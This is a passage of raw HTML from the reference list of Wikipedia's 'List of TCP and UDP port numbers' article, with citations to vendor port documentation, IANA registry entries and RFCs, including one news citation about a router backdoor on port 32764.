href=\"#cite_ref-man-1-boinc-die.net_393-0\">^</a></b></span> <span class=\"reference-text\"><span class=\"plainlinksneverexpand\"><code><a rel=\"nofollow\" class=\"external text\" href=\"https://linux.die.net/man/1/boinc\">boinc(1)</a></code></span>&#160;–&#160;<a href=\"/wiki/Linux\" title=\"Linux\">Linux</a> User Commands <a href=\"/wiki/Man_page\" title=\"Man page\">Manual</a></span>\n</li>\n<li id=\"cite_note-rocket-universe-installguide-v1123-394\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rocket-universe-installguide-v1123_394-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation book cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://docs.rocketsoftware.com/nxt/gateway.dll/RKBnew20%2Funiverse%2Fprevious%20versions%2Fv11.2.3%2Funiverse_installguide_v1123.pdf\"><i>Rocket UniVerse Installation Guide (Version 11.2.3)</i></a> <span class=\"cs1-format\">(PDF)</span> (UNV-113-INST-1&#160;ed.). Rocket Software. April 2014. pp.&#160;3–8, 4–8. <q>...&#160;When you install UniVerse on your system for the first time, you must add the UniRPC daemon's port to the <code>/etc/services</code> file. Add the following line to the <code>/etc/services</code> file: <kbd>uvrpc 31438/tcp # uvrpc port</kbd>&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=Rocket+UniVerse+Installation+Guide+%28Version+11.2.3%29&amp;rft.pages=3-8%2C+4-8&amp;rft.edition=UNV-113-INST-1&amp;rft.pub=Rocket+Software&amp;rft.date=2014-04&amp;rft_id=http%3A%2F%2Fdocs.rocketsoftware.com%2Fnxt%2Fgateway.dll%2FRKBnew20%252Funiverse%252Fprevious%2520versions%252Fv11.2.3%252Funiverse_installguide_v1123.pdf&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-immunet-support-tiki-4-395\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-immunet-support-tiki-4_395-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20131005204557/http://support.immunet.com/tiki-read_article.php?articleId=4\">\"Immunet Protect 2.0 Requirements &amp; Compatible Security Package List\"</a>. Support. <i>Immunet</i>. 2010-05-12. Archived from <a rel=\"nofollow\" class=\"external text\" href=\"http://support.immunet.com/tiki-read_article.php?articleId=4\">the original</a> on 2013-10-05<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-18</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=Immunet&amp;rft.atitle=Immunet+Protect+2.0+Requirements+%26+Compatible+Security+Package+List&amp;rft.date=2010-05-12&amp;rft_id=http%3A%2F%2Fsupport.immunet.com%2Ftiki-read_article.php%3FarticleId%3D4&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-396\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-396\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFPedersen2012\" class=\"citation web cs1\">Pedersen (2012-03-24). <a rel=\"nofollow\" class=\"external text\" href=\"http://forum.immunet.com/index.php?/topic/1849-manually-configure-ports-in-your-firewall/\">\"Manually Configure Ports In Your Firewall\"</a>. Forum. <i>Immunet</i>. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20161018002338/http://forum.immunet.com/index.php?%2Ftopic%2F1849-manually-configure-ports-in-your-firewall%2F\">Archived</a> from the original on 2016-10-18<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-18</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=Immunet&amp;rft.atitle=Manually+Configure+Ports+In+Your+Firewall&amp;rft.date=2012-03-24&amp;rft.au=Pedersen&amp;rft_id=http%3A%2F%2Fforum.immunet.com%2Findex.php%3F%2Ftopic%2F1849-manually-configure-ports-in-your-firewall%2F&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-plex-kb-201543147-397\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-plex-kb-201543147_397-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://support.plex.tv/hc/en-us/articles/201543147-What-network-ports-do-I-need-to-allow-through-my-firewall-\">\"What network ports do I need to allow through my firewall?\"</a>. Support (<abbr title=\"Frequently Asked Questions\">FAQ</abbr>). <i>Plex</i>. n.d. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20161018003231/https://support.plex.tv/hc/en-us/articles/201543147-What-network-ports-do-I-need-to-allow-through-my-firewall-\">Archived</a> from the original on 2016-10-18<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-18</span></span>. <q>...&#160;TCP: 32400 (for access to the Plex Media Server)&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=Plex&amp;rft.atitle=What+network+ports+do+I+need+to+allow+through+my+firewall%3F&amp;rft.chron=n.d.&amp;rft_id=https%3A%2F%2Fsupport.plex.tv%2Fhc%2Fen-us%2Farticles%2F201543147-What-network-ports-do-I-need-to-allow-through-my-firewall-&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-ars-security-2014-01-backdoor-dsl-398\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-ars-security-2014-01-backdoor-dsl_398-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFGallagher2014\" class=\"citation news cs1\">Gallagher, Sean (2014-01-02). <a rel=\"nofollow\" class=\"external text\" href=\"https://arstechnica.com/security/2014/01/backdoor-in-wireless-dsl-routers-lets-attacker-reset-router-get-admin/\">\"Backdoor in wireless DSL routers lets attacker reset router, get admin\"</a>. <i><a href=\"/wiki/Ars_Technica\" title=\"Ars Technica\">Ars Technica</a></i>. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20161109150322/http://arstechnica.com/security/2014/01/backdoor-in-wireless-dsl-routers-lets-attacker-reset-router-get-admin/\">Archived</a> from the original on 2016-11-09<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-11-09</span></span>. <q>...&#160;A hacker has found a backdoor to wireless combination router/DSL modems&#160;...&#160;The attack, confirmed to work on several Linksys and Netgear DSL modems&#160;...&#160;the router responded to messages over an unusual TCP port number: 32764.&#160;...&#160;the backdoor might affect wireless routers with DSL modems from SerComm,&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=article&amp;rft.jtitle=Ars+Technica&amp;rft.atitle=Backdoor+in+wireless+DSL+routers+lets+attacker+reset+router%2C+get+admin&amp;rft.date=2014-01-02&amp;rft.aulast=Gallagher&amp;rft.aufirst=Sean&amp;rft_id=https%3A%2F%2Farstechnica.com%2Fsecurity%2F2014%2F01%2Fbackdoor-in-wireless-dsl-routers-lets-attacker-reset-router-get-admin%2F&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-logmein-kb-ports-protocols-399\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-logmein-kb-ports-protocols_399-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://help.logmein.com/articles/en_US/FAQ/Which-ports-and-protocols-does-LogMeIn-Hamachi2-use-en1\">\"Which ports and protocols does LogMeIn Hamachi use?\"</a>. Support. <i>LogMeIn</i>. n.d. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20161018005545/http://help.logmein.com/articles/en_US/FAQ/Which-ports-and-protocols-does-LogMeIn-Hamachi2-use-en1\">Archived</a> from the original on 2016-10-18<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-18</span></span>. <q>...&#160;<div><ul><li>TCP 12975 (initiator port)</li><li>TCP 32976 (session port)</li></ul></div> If the above ports cannot be used to achieve a connection, Hamachi will try again using SSL (TCP 443).&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=LogMeIn&amp;rft.atitle=Which+ports+and+protocols+does+LogMeIn+Hamachi+use%3F&amp;rft.chron=n.d.&amp;rft_id=http%3A%2F%2Fhelp.logmein.com%2Farticles%2Fen_US%2FFAQ%2FWhich-ports-and-protocols-does-LogMeIn-Hamachi2-use-en1&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-jenkins-wiki-remote-api-400\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-jenkins-wiki-remote-api_400-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFKawaguchiKulkarniGlickManickam2007\" class=\"citation encyclopaedia cs1\"><a href=\"/wiki/Kohsuke_Kawaguchi\" title=\"Kohsuke Kawaguchi\">Kawaguchi, Kohsuke</a>;  et&#160;al. (2007-05-06). <a rel=\"nofollow\" class=\"external text\" href=\"https://wiki.jenkins-ci.org/display/JENKINS/Remote%2Baccess%2BAPI\">\"Remote access API\"</a>.  In Scheibe, René (ed.). <i>Jenkins Wiki</i>. Small contributions from various people. (published 2017-03-15). <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20170519193305/https://wiki.jenkins-ci.org/display/JENKINS/Remote%2Baccess%2BAPI\">Archived</a> from the original on 2017-05-19<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2017-05-19</span></span>. <q>...&#160;Jenkins instances listen on UDP port 33848.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=Remote+access+API&amp;rft.btitle=Jenkins+Wiki&amp;rft.date=2007-05-06&amp;rft.aulast=Kawaguchi&amp;rft.aufirst=Kohsuke&amp;rft.au=Kulkarni%2C+Kedar&amp;rft.au=Glick%2C+Jesse&amp;rft.au=Manickam%2C+Kannan&amp;rft.au=Vacek%2C+Lukas&amp;rft.au=kkulkar3&amp;rft.au=Gond%C5%BEa%2C+Oliver&amp;rft_id=https%3A%2F%2Fwiki.jenkins-ci.org%2Fdisplay%2FJENKINS%2FRemote%252Baccess%252BAPI&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span><sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Identifying_reliable_sources#User-generated_content\" class=\"mw-redirect\" title=\"Wikipedia:Identifying reliable sources\"><span title=\"This reference citation appears to be to a user-generated source. (June 2017)\">user-generated source</span></a></i>&#93;</sup></span>\n</li>\n<li id=\"cite_note-jenkins-wiki-auto-discovering-401\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-jenkins-wiki-auto-discovering_401-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFKawaguchiOrr2010\" class=\"citation encyclopaedia cs1\"><a href=\"/wiki/Kohsuke_Kawaguchi\" title=\"Kohsuke Kawaguchi\">Kawaguchi, Kohsuke</a>;  et&#160;al. (2010-05-10). <a rel=\"nofollow\" class=\"external text\" href=\"https://wiki.jenkins-ci.org/display/JENKINS/Auto-discovering%2BJenkins%2Bon%2Bthe%2Bnetwork\">\"Auto-discovering Jenkins on the network\"</a>. <i>Jenkins Wiki</i> (published 2016-02-24). <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20161018014454/https://wiki.jenkins-ci.org/display/JENKINS/Auto-discovering%2BJenkins%2Bon%2Bthe%2Bnetwork\">Archived</a> from the original on 2016-10-18<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-18</span></span>. <q>...&#160;Jenkins listens on UDP port 33848.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=Auto-discovering+Jenkins+on+the+network&amp;rft.btitle=Jenkins+Wiki&amp;rft.date=2010-05-10&amp;rft.aulast=Kawaguchi&amp;rft.aufirst=Kohsuke&amp;rft.au=Orr%2C+Christopher&amp;rft_id=https%3A%2F%2Fwiki.jenkins-ci.org%2Fdisplay%2FJENKINS%2FAuto-discovering%252BJenkins%252Bon%252Bthe%252Bnetwork&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span><sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Identifying_reliable_sources#User-generated_content\" class=\"mw-redirect\" title=\"Wikipedia:Identifying reliable sources\"><span title=\"This reference citation appears to be to a user-generated source. (June 2017)\">user-generated source</span></a></i>&#93;</sup></span>\n</li>\n<li id=\"cite_note-402\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-402\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation encyclopaedia cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://wiki.factorio.com/Multiplayer\">\"Multiplayer\"</a>. <i>Factorio Wiki</i><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2019-01-23</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=Multiplayer&amp;rft.btitle=Factorio+Wiki&amp;rft_id=https%3A%2F%2Fwiki.factorio.com%2FMultiplayer&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span><sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Identifying_reliable_sources#User-generated_content\" class=\"mw-redirect\" title=\"Wikipedia:Identifying reliable sources\"><span title=\"This reference citation appears to be to a user-generated source. (January 2019)\">user-generated source</span></a></i>&#93;</sup></span>\n</li>\n<li id=\"cite_note-openstack-docs-config-appendix-b-403\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-openstack-docs-config-appendix-b_403-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation book cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://docs.openstack.org/kilo/config-reference/content/firewalls-default-ports.html\">\"Appendix B. Firewalls and default ports\"</a>. <a rel=\"nofollow\" class=\"external text\" href=\"http://docs.openstack.org/kilo/config-reference/content/index.html\"><i>OpenStack Configuration Reference</i></a>. OpenStack Foundation. 2016-05-10. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20161018023342/http://docs.openstack.org/kilo/config-reference/content/firewalls-default-ports.html\">Archived</a> from the original on 2016-10-18<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-18</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=Appendix+B.+Firewalls+and+default+ports&amp;rft.btitle=OpenStack+Configuration+Reference&amp;rft.pub=OpenStack+Foundation&amp;rft.date=2016-05-10&amp;rft_id=http%3A%2F%2Fdocs.openstack.org%2Fkilo%2Fconfig-reference%2Fcontent%2Ffirewalls-default-ports.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span><sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Verifiability#Self-published_sources\" title=\"Wikipedia:Verifiability\"><span title=\"This reference citation appears to be to a self-published source. (October 2016)\">self-published source</span></a></i>&#93;</sup></span>\n</li>\n<li id=\"cite_note-IANA_41121-404\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-IANA_41121_404-0\">^</a></b></span> <span class=\"reference-text\"><a rel=\"nofollow\" class=\"external text\" href=\"https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml?search=41121\">IANA - Service Name and Transport Protocol Port Number Registry</a></span>\n</li>\n<li id=\"cite_note-IANA_41794-405\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-IANA_41794_405-0\">^</a></b></span> <span class=\"reference-text\"><a rel=\"nofollow\" class=\"external text\" href=\"https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml?search=41794\">IANA - Service Name and Transport Protocol Port Number Registry</a></span>\n</li>\n<li id=\"cite_note-IANA_41795-406\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-IANA_41795_406-0\">^</a></b></span> <span class=\"reference-text\"><a rel=\"nofollow\" class=\"external text\" href=\"https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml?search=41795\">IANA - Service Name and Transport Protocol Port Number Registry</a></span>\n</li>\n<li id=\"cite_note-IANA_41796-407\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-IANA_41796_407-0\">^</a></b></span> <span class=\"reference-text\"><a rel=\"nofollow\" class=\"external text\" href=\"https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml?search=41796\">IANA - Service Name and Transport Protocol Port Number Registry</a></span>\n</li>\n<li id=\"cite_note-IANA_41797-408\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-IANA_41797_408-0\">^</a></b></span> <span class=\"reference-text\"><a rel=\"nofollow\" class=\"external text\" href=\"https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml?search=41797\">IANA - Service Name and Transport Protocol Port Number Registry</a></span>\n</li>\n<li id=\"cite_note-409\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-409\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://fortiguard.com/appcontrol/42806\">\"Fortiguard\"</a>. <i>FortiGuard</i><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2021-11-01</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=FortiGuard&amp;rft.atitle=Fortiguard&amp;rft_id=https%3A%2F%2Ffortiguard.com%2Fappcontrol%2F42806&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-IANA_42999-410\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-IANA_42999_410-0\">^</a></b></span> <span class=\"reference-text\"><a rel=\"nofollow\" class=\"external text\" href=\"https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml?search=42999\">IANA - Service Name and Transport Protocol Port Number Registry</a></span>\n</li>\n<li id=\"cite_note-411\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-411\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://zeronet.readthedocs.io/en/latest/using_zeronet/create_new_site/\">\"Create new ZeroNet site - ZeroNet\"</a>. <i>zeronet.readthedocs.io</i><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2021-07-16</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=zeronet.readthedocs.io&amp;rft.atitle=Create+new+ZeroNet+site+-+ZeroNet&amp;rft_id=https%3A%2F%2Fzeronet.readthedocs.io%2Fen%2Flatest%2Fusing_zeronet%2Fcreate_new_site%2F&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rs-support-205845152-412\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rs-support-205845152_412-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://support.runescape.com/hc/en-gb/articles/205845152-How-do-I-set-up-exceptions-in-my-firewall-for-RuneScape-\">\"How do I set up exceptions in my firewall for RuneScape?\"</a>. <i>Support</i>. RuneScape. n.d<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-09-28</span></span>. <q>...&#160;open the following ports; 443, 43594 and 43595&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=Support&amp;rft.atitle=How+do+I+set+up+exceptions+in+my+firewall+for+RuneScape%3F&amp;rft.chron=n.d.&amp;rft_id=https%3A%2F%2Fsupport.runescape.com%2Fhc%2Fen-gb%2Farticles%2F205845152-How-do-I-set-up-exceptions-in-my-firewall-for-RuneScape-&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-413\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-413\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://www.driveweb.com/tech/manual/en_ftn_admin.html\">\"drive.web\"</a>. <i>drive.web</i><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2022-10-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=drive.web&amp;rft.atitle=drive.web&amp;rft_id=https%3A%2F%2Fwww.driveweb.com%2Ftech%2Fmanual%2Fen_ftn_admin.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-414\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-414\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc6335\"><i>Internet Assigned Numbers Authority (IANA) Procedures for the Management of the Service Name and Transport Protocol Port Number Registry</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. August 2011. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC6335\">10.17487/RFC6335</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc6335\">6335</a>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=Internet+Assigned+Numbers+Authority+%28IANA%29+Procedures+for+the+Management+of+the+Service+Name+and+Transport+Protocol+Port+Number+Registry&amp;rft.pub=IETF&amp;rft.date=2011-08&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC6335&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc6335&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc5273-415\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc5273_415-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFSchaadMyers2008\" class=\"citation cs1\">Schaad, Jim; Myers, Michael (June 2008). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc5273#section-5\">\"TCP-Based Protocol\"</a>. <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc5273\"><i>Certificate Management over CMS (CMC): Transport Protocols</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. p.&#160;4.&#160;sec.&#160;5. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC5273\">10.17487/RFC5273</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc5273\">5273</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2017-11-10</span></span>. <q>...&#160;When CMC messages are sent over a TCP-based connection&#160;...&#160;There is no specific port that is to be used when doing TCP-based transport. Only the Private Ports 49152-65535 may be used in this manner (without registration). The ports in the range of 1-49151 &#32;&#91;<i><a href=\"/wiki/Sic\" title=\"Sic\">sic</a>?</i>&#93; SHOULD NOT be used.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=TCP-Based+Protocol&amp;rft.btitle=Certificate+Management+over+CMS+%28CMC%29%3A+Transport+Protocols&amp;rft.pages=p.-4.-sec.-5&amp;rft.pub=IETF&amp;rft.date=2008-06&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC5273&amp;rft.aulast=Schaad&amp;rft.aufirst=Jim&amp;rft.au=Myers%2C+Michael&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc5273%26%23035%3Bsection-5&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-416\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-416\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"wg-quickstart\" class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://www.wireguard.com/quickstart/\">\"Quick Start Guide\"</a>. <i>WireGuard</i><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">20 September</span> 2022</span>.</cite><span 